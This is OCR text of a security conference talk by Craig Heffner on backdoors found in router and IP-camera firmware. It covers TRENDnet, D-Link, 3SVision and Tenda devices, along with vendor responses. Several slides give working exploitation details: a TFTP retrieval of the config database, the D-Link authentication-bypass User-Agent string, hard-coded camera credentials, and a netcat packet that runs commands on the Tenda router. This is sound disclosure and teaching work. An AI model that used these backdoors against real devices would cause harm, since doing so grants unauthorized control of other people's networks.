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Who Am |?

» Craig Heffner
— Embedded Vulnerability Analyst for Tactical Network Solutions
— Embedded Device Exploitation instructor
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The Internet of (Backdoored) Things

HERE BE BACKDOORS: A JOURNEY INTO THE ~ Presentedy:
SECRETS OF INDUSTRIAL FIRMWARE Ruben Santamarta

Backdoor found in firmware of IP cameras
April 30, 2013 | By Paul Mah

Advisory (ICSA-13-136-01) More Advisories
TURCK BL20 and BL67 Programmable Gateway Hard-Coded User Accounts

Original release date: May 16, 2013 | Last revised: December 23, 2013
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Meet the Contestants
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Tools For Code / Data Analysis

strings, hexdump

The Interactive Disassembler (IDA)

GNU tool chains (objdump)

Others

— Radare2
Reverse Engineering Compiler
The Online Disassembler
Retargetable Decompiler
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Firmware Image Analysis
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EndlessPicdump.com
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Existing Firmware Analysis Tools

Just search for “magic” file signatures
— UWFirmforce

— Binary Analysis Tool

— Hachoir

— File / radare2 / libmagic

Problems:

— Few, if any, firmware specific signatures
Difficult to add / modify signatures
Prone to false positives / false negatives
Slow

Binwalk

Easy to create / modify signatures
Built-in false-positive detection
Automated, recursive extraction
Entropy / heuristic analysis

Fast
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HEXADECIMAL DESCRIPTION

0x5054 MIPSEL instructions, function epilogue
0x505C MIPSEL instructions, function prologue
0x5098 MIPSEL instructions, function epilogue
0x50A0 MIPSEL instructions, function prologue
OXx51E0 MIPSEL instructions, function epilogue
Ox51E8 MIPSEL instructions, function prologue
0x52D4 MIPSEL instructions, function epilogue
0x52DC MIPSEL instructions, function prologue
Ox6EBO MIPSEL instructions, function epilogue
Ox6EB8 MIPSEL instructions, function prologue
Ox6F28 MIPSEL instructions, function epilogue
OX6F30 MIPSEL instructions, function prologue
OX6FE4 MIPSEL instructions, function epilogue
OX6FEC MIPSEL instructions, function prologue
0x7094 MIPSEL instructions, function epilogue
0x709C MIPSEL instructions, function prologue
0x7258 MIPSEL instructions, function epilogue
0x7260 MIPSEL instructions, function prologue
Ox7AD8 MIPSEL instructions, function epilogue
OX7AEQ MIPSEL instructions, function prologue
0x7C80 MIPSEL instructions, function epilogue
Ox8F11 Zlib header, default compression, uncompressed size >= 131072
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|B.freeCount <= E|
| TS_QUEUE_MAX, fi|
|le ets_queue_vxw|
|orks.c, line 133|
|....Assertion fa|
|iled: 0, file et]
| s_queue_vxworks.
|c, line 148

|Assertion failed|
|: @, file ets_qu|
|eue_vxworks.c, 1|

|Could not init m|
|utex....Semaphor|
|e initialization|

|of semaphores...

mnt proc
nfs ramfs.img
opt root
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Trendnet TEW-654R
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TEW-654R Features

» Travel router / access point / firewall
» Three operational modes:

— WIiFi Access Point

— WiFi Client

— WIiFi Router
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/etc/rc.d/rcS

# Load configure file from
/bin/echo "Init System..."
system manager &

Start tftpd
/bin/echo "Start Tftpd..."
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tftp /etc/resolv.conf

eve@eve:~$ tfcp tewb54:/etc/resolv.conf .
eve@eve:~$ cat resolv.conf

nameserver 192.168.1.1

nameserver 192.168.1.1
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WHATCOULD POSSIBLY

‘Live! Feoturing BSC

strings system_manager

select restore default from restore default where rowid = 1

/etc/default rt.db
/etc/rt.db
/etc/default _ap.db
/etc/ap.db
/etc/default apc.db
/etc/apc.db|
cp - %S %S

tftp get /etc/rt.db

eve@eve:~$ tfcp tewb54:/etc/rt.db
eve@eve:~$ file rt.db
rt.db: SQLite 3.x database
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sqlite3 rt.db

sqlite> select * from user;
admin|secretpasswordl|1l

p
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@ TRENDNET Wireless N Travel Router
TEW-654TR

Device Info

Firmware :| 1.10.12

Router up time ;‘ 0 Day, 00:09:44

MAC Address : | 00:14:d1:06:02:87

Connection : | Fixed IP Connect ted

IP Address :| 192.168.1.100

Subnet Mask : | 255.255.255.0

Default Gateway :| 192.168.1.1

1| 192.168.1.1 192.168.1.1

Vendor Response (TEW-632BRP)

“Can’t reproduce.”

“That file doesn’t exist.”

“You can’t get the configuration file over TFTP.”
“But it doesn’t show up in a port scan!”
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Post-Mortem

* One developer implementing a debug / recovery TFTP service
— It's OK for the TFTP service to listen on all interfaces
— The firewall will block connections from the WAN

* Another developer implementing firewall rules
— The only running UDP services are DNS and DHCP
— Easier to just open all UDP ports on the firewall
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D-Link DIR-100
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DIR-100 Features

* SOHO router
» Easyto setup
» “Total network security”
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strings /bin/webs

Tl IDAView-A % | [5] Stringswindow % | [T HexView-A ® [A Structures % [E] Enums % & Imports

“thttpd-alphanetworks/2.2 3” ]

TOUaTS 0075 . UOUDU0TF TOWSTCT Mtz TTaTe
.rodata:0046... 00000026 out of memoryalld  fng a connecttab
5] .rodata:0046... 0000000D fdwatch - %m
rodata:0046... 00000007 **.cqi
rodata:0046... 00000005 user
rodata:0046... 00000008 is0-8859-1

rodata:0046... 00000005
.rodata:0046... 00000005
rodata:0046... 00000005
rodata:0046... 00000005
5] .rodata:0046... 000000CC usage: %s [-C configfile] [-p port] [d dir] [-r|-nor] [-s|-nos] [v|-nov] [-g|-nog] [-u user]
rodata:0046... 00000005 \t\n\r
rodata:0046... 00000006 debug
.rodata:0046... 00000005 port
.rodata:0046... 00000009 nochroot
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/bin/webs Function Listing

alpha_auth_check

T3P Type

[7] alpha) ftBridge

[7] alpha_\fidFlowToLimitedQueue_wit
7]

[7] alpha_httpd_parse_request
[7 alpha_init

[7] alpha_internal_function

[ alpha_upload

[7] alphafs_check_header

[7] alphafs_cp_files

[7 alphafs_domount

[7] alphafs_flashwrite

[7] alphafs_read

[F1 alnhafe wwrita
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alpha_auth_check Disassembly

rxmlset_editby04882joelbackdoor
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alpha_auth_check Pseudo Code

if(strstr(struct->ptr, “xmlset_roodkcableoj28840ybtide”) != NULL)

{
return AUTH_OK;

}

else

{

return check_login();
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alpha_auth_check Call Graph
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alpha_httpd_parse_request Pseudo Code

if(strncasecmp(header, “User-Agent:”, 11) != NULL)
{

struct->ptr = header + 11 + strspn(header, “ \t”);

}

[struct—>ptr = HTTP User Agent]
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alpha_auth_check Pseudo Code

if(strstr(struct->ptr, “xmlset_roodkcableoj28840ybtide”) != NULL)

{
return AUTH_OK;

}

else

{

return check_login();
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alpha_auth_check Pseudo Code

if(strstr(user_agent, “xmiset_roodkcableoj28840ybtide”) != NULL)

{
return AUTH_OK;

}

else

{

return check_login();
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Google Chrome Spoof User Agent

Console Search | Emulation

Device ™ Spoof user agent

Screen
Other =

User Agent v

Sensors ‘ xmlset_roodkcableoj28840ybtide
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Vendor Response

» “Updates will be available October 31st.”

D-Link routers authenticate

Publication ID: SAP10001
Revision: 9

Published on: 6 No: 0:13 GMT
Last updated on£3 December 201338:00 GMT

Post-Mortem

» “Some services need to change configuration settings automatically”
* “The web server already has all the code for changing config settings”

“Let’s put a backdoor in the web server so our local services can
automatically change configuration settings without knowing the
administrative password!”
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3SVision N5072
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N5072 Features

» Outdoor weather proof camera
* 720p @ 30fps
* 18X optical zoom

}Live! Feoturng BSC.
Restricted Firmware Download

Signin

Password [N  Login

Please enter the first name of your contact
sales person.
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Use the Source, Luke

== )

location.reload();

location.href = "prod_info.php?pid="+pid+"&tab=4";
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Literacy FTW

Download

N5072 HD Network Speed Dome Camera

N5072 Firmware
8 N5072 Firmware

N5072 Release Notes
-._'_ N5072 Release Notes

N5072 Data Sheet
"] N5072 Data Sheet
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ulmage head

R
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/home/3s/bin/httpd

ControlPoint
ddns
dhclient-script
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pwdgrp_get_userinfo

ipcam
ipfinder
iptables
LinkLocalIP
mail

Y

nvram
OrayDDNS
OSD.TTF
pciv_get
pciv_send
pppd

b64_decode
R3,
RO, R3, RO
R6,
R1,

SP, #0x210+4var_ 18

[RO, #-0x1F4]
#0x3A ; €

RO, R7 ;s
strchr

R4,
R6,
R1,
RO, R7
strcmp
RO,
R1,
RO, R4
loc_28874

RO
[R4], #1
=a3sadmin

#0
=a27988303

JUSTWHEN(I\THOUGHT\YOU/COULDN;T(POSSIBLYBE

Yﬂll GO AND DO SIIMETHING lIl(E
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Hardest. Exploit. Ever.

—— et m g o ——— e

User Name: 3sadmin

Password: eececceces

( cancel ) ( Log In )
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Vendor Response

* Vulnerability publically released July 2013
» Crickets.
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Post-Mortem

» Developer debugging?
* Remote assistance / recovery
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Tenda W302R

W302R Features

* 802.11n WiFi router
* High gain antennas
» Supports WiFi Protected Setup
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ulmage header

/LZ compressed data

-
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gzip compressed data
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Squashfs File:
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strings /bin/httpd

[E DA View- G OA h e ad _We b S Structures % [E

Address
[S] .rodata:0047...

’ .rodata:0047... 00000006 %s/%s

)| .rodata:0047... 0000001C HTTP/1.4 P00 OK\r\nDate: %s\r\n
's’ .rodata:0047... 0000000D Server: As\r\n

7 .rodata:0047... 0000002C Pragma: no-cache\r\nCache-Control: no-cache\r\n
7 .rodata:0047... 00000013 Content-type: %s\r\n

7 .rodata:0047... 00000019 Connection: keep-alive\r\n

7 .rodata:0047... 00000014 Last-modified: %s\r\n

) .rodata:0047... 00000015 Content-length: %d\r\n

) .rodata:0047... 00000019 Cannot stat page for URL

' .rodata:0047... 00000010 Cannot open URL

7 .rodata:0047... 0000000C Invalid URL
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Hmmm...InitMfgTask?
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InitMfgTask

void InitMfgTask(void)

{
pthread_create(&pthread NULL, MfgThread, NULL);
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MfgThread
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MfgThread

Binds to a UDP socket listening on port 7329

Waits for an incoming packet from a client

Validates packet structure, performs requested action
Returns action result to the client

MfgThread Packet Structure
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MfgThread Command ‘X’

popen(action_arg, “r”’);

popen result
returned to client!
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MfgThread Command Execution Packet

w302r_mfg\x00x/bin/Is
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"w302r_mfg\x00x/bin/1s" | nc -u -q 5 192.168.0.1 7329
20 0 1363 webroot
var
43 usr
tmp
sys
sbin
proc
mnt
media
1ib
init -> bin/busybox
home
etc_ro
etc
dev
bin

NRRBNNRBRARBRNONNRWG R
HOODOOODOOOOOOOO O
HOODOOOOOOOOOOO O
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Practical Exploitation

* Only listens on the LAN / WLAN
»  What if the user has configured wireless encryption?
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WEP?

» Easily broken in a couple of minutes
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WPA?

» TKIP attacks allow packet injection (~15 minutes)
» AES is secure if a strong passphrase is used
— Unless...
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Vendor Response

Tenda e v ety

Notification

Dear customers:

Based on the feedbacks from some individual users, we were informed that two lines of our wireless
products W302R and W330R were with some security bugs in LAN(Local Area Network) environment,
and it was also verified by engineers of Tenda after systematic detection. Our engineers are quickly
uploading a service pack to fix the bugs, and we would suggest that our customer download it and
upgrade your device timely to secure your network.The link of upgrade W302R firmware is below:

http://www.tendacn.com/tendacn/downloads/show.aspx?downid =1844
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Post-Mortem

Manufacturing backdoor for testing / validation
» Vendor considers LAN exploits “no big security problem”
— WiFi hot spots?
— Users with weak / no WiFi encryption?
— Unforeseen WiFi encryption attacks (e.g., WEP, TKIP, WPS)?
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Conclusion

MR POTATO HEAD
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Contact & Resources

cheffner@tacnetsol.com
@devttys0

http://www.edetraining.com
http://www.tacnetsol.com
http://www.reaversystems.com

http://www.binwalk.org
http://www.devttys0.com/blog




